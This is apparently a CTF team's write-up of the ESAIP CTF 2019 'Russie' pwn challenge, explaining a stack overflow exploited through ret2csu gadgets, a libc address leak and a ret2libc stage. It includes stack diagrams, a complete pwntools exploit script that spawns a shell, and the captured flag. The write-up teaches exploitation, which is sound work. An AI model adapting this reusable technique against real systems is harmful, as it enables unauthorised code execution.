ESAIP CTF 2019 - Russie (pwn)
I and my CTF team Hackatsuki recently participated to the ESAIP CTF 2019 which lasted over 10 hours. The challenges weren't really diversified but the pwn was pretty nice. We reached the 4th place in the scoreboard !
This CTF used the Facebook CTF platform, fbctf which UI is pretty awesome but has some bugs. Each challenge was bound to a country, for example Belarus, Chile, Russia, America, Canda was pwn challenges. Canada was the only challenge I could not solve but Mini'Kube dit it insanely and Russie was the last one in pwn series with 455 points.
You should ROP
The binary include only the main function which is pretty short, only write, setvbuf and read are called and so will be in the PLT. About the mitigations the NX bit, ASLR and RELRO are enabled.
The vulnerability resides in the read function which will read 0x15E (350) bytes from stdin and write it in the ~100 bytes buffer. It's like we have to do some ROP now !
int __cdecl main(int argc, const char **argv, const char **envp) { char buf; // [rsp+0h] [rbp-70h] write(1, "Hello ROP\n", 0xAuLL); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); return read(0, &buf, 0x15EuLL); }
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : FULL gdb-peda$ info func @plt All functions matching regular expression "@plt": Non-debugging symbols: 0x0000000000401030 write@plt 0x0000000000401040 read@plt 0x0000000000401050 setvbuf@plt
Sadly the binary is compiled for dynamic linking, the amount of gadget will be very restricted.
__LIBC_CSU_INIT
But hopefully there are gadgets always presents in binary in the __libc_csu_init function. The __libc_csu_init is defined as attached code because no matter what you wrote, the binary will always hold this function.
For intel x64 binary (System V AMD64 ABI) functions, parameters are passed the following way
1 | RDI |
2 | RSI |
3 | RDX |
4 | RCX |
5 | R8 |
6 | R9 |
n | STACK |
In order to make functions call via our ROP we need to control at least RDI, RSI, RDX because the only availables functions, write and read have 3 parameters.
- the gadget at 0x0000000000401212 allows us to control : rbx, rbp, r12, r13, r14, r15
- the gadget at 0x00000000004011f8 allows us to control rdx, rsi and edi
- the gadget at 0x0000000000401201 lets us call [r12 + rbx * 8] (we control both of them thanks to the first gadget)
We do not control the 4 highest bytes of RDI but no worries therere is a gadget in the binary
gdb-peda$ x/2i 0x000000000040121b 0x40121b <__libc_csu_init+91>: pop rdi 0x40121c <__libc_csu_init+92>: ret gdb-peda$
As you see theses gadgets let us call whatever we want and as many time as we want because right after the call, if rbx == rbp, we will pop again our arguments and ret the gadget we want !
Payloading
My first idea was :
- write(stdout, read_got, 8) ; leaking read address in order to get libc base address
- read(1, bss, 8) ; to write system address somewhere we control like bss
- and then call [bss] via the ret2csu.
But there is something much easier :
- write(stdout, read_got, 8) ; leaking read address in order to get libc base address
- ret2main in order to send another payload
- ret2libc with system address previously leaked and calculated
Here the schema of the scenario
STAGE 1 +-------------------------------+ | A * 120 | +-------------------------------+ | pop_all | <----------+ MAIN SAVED EIP +-------------------------------+ | 0 ; rbx | <----------+ pop rbx +-------------------------------+ | 1 ; rbp | <----------+ pop rbp +-------------------------------+ | write_got | <----------+ pop r12 +-------------------------------+ | 1 ; args 1 | <----------+ pop r13 +-------------------------------+ | read_got; args 2 | <----------+ pop r14 +-------------------------------+ | 8 ; args 3 | <----------+ pop r15 +-------------------------------+ | mov rdx,r15 | | mov rsi,r14 | | mov edi,r13d | <----------+ ret | call [r12 + rbx * 8] | | [...] | | pop ret | +-------------------------------+ | NOPE * 7 | <----------+ after call, there is add rsp, 0x8 and pop * 6 +-------------------------------+ | main_addr | <----------+ ret +-------------------------------+
This will leak the read address and go back to main to execute again the program, the stage 2 will trigger the ret2libc
STAGE 2 +-------------------------------+ | A * 120 | +-------------------------------+ | pop_rdi | <---------+ MAIN SAVED EIP +-------------------------------+ | /bin/sh addr | +-------------------------------+ | system addr | +-------------------------------+
Here the full exploit
from pwn import * from struct import unpack local = False p = remote("172.16.128.39", 31336) p.readuntil("ROP") ############################## NOPE = p64(0x4143414241434142) main = 0x401142 pop_rdi = 0x000000000040121b pop_all = 0x0000000000401212 # rbx rbp 12 13 14 15 mov_rdx_r15_rsi_r14 = 0x00000000004011f8 write_got = 0x403fd8 read_got = 0x403fe0 bss = 0x404018 if local: read_offset = 0x00000000000db900 system_offset = 0x000000000003f480 bin_sh_offset = 0x161c19 else: read_offset = 0x00000000000e4680 system_offset = 0x0000000000041af0 bin_sh_offset = 0x17699e # write = 1, ptr src, size # read = 0, ptr dest, size #[ STAGE 1]########################### payload = "A" * 120 ### write(1, read, 8) payload += p64(pop_all) payload += p64(0) # rbx payload += p64(1) # rbp : must be < rbx payload += p64(write_got) #r12 # call payload += p64(0x1) # arg 1 payload += p64(read_got) # arg 2 payload += p64(0x8) # arg3 payload += p64(mov_rdx_r15_rsi_r14) payload += NOPE * 7 payload += p64(main) # adresse de la suite de la rop p.sendline(payload) #[ LEAK ########################### p.read() leak = p.read()[:8] libc_addr = unpack("<Q", leak)[0] - read_offset system_addr = libc_addr + system_offset bin_sh = libc_addr + bin_sh_offset exit = libc_addr + 0x0000000000035980 log.info("libc @ " + hex(libc_addr)) #[ STAGE 2]########################### stage2 = "A" * 120 ### system(sh) stage2 += p64(pop_rdi) stage2 += p64(bin_sh) stage2 += p64(system_addr) p.sendline(stage2) p.interactive() #ectf19{H_a_cker_detect_e_d_0011010}